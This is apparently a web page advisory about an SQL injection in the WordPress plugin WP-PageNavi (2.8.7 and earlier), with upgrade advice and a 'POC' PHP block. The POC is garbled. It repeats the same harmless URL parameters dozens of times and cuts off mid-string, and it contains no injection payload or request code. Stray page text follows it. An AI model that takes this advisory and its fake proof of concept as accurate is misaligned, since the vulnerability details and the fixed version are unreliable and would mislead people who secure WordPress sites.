WordPress WP-PageNavi SQL Injection (v2.8.7) with POC

Vulnerability Overview This vulnerability involves an SQL injection flaw in the WordPress plugin "WP-PageNavi" in versions 2.8.7 and earlier. Attackers can exploit this vulnerability by crafting specific URL requests to execute arbitrary SQL commands, potentially leading to the extraction of sensitive data, tampering with database content, or complete server compromise. Impact Scope Affected Product: WordPress plugin "WP-PageNavi" Affected Versions: Version 2.8.7 and earlier Affected Environments: WordPress sites using the aforementioned plugin versions Remediation Upgrade Plugin: Upgrade the "WP-PageNavi" plugin to the latest version (2.8.8 or higher) to patch this SQL injection vulnerability. Temporary Mitigation: If an immediate upgrade is not possible, consider temporarily disabling the plugin until the upgrade is completed. POC Code ```php <?php // Example POC code // Note: This code is for testing and demonstration purposes only; do not use in production environments $target_url = "http://example.com/?paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&order=asc&post_type=page&paged=1&orderby=1&ord

Goal Reached Thanks to every supporter — we hit 100%!

WordPress WP-PageNavi SQL Injection (v2.8.7) with POC

More from this source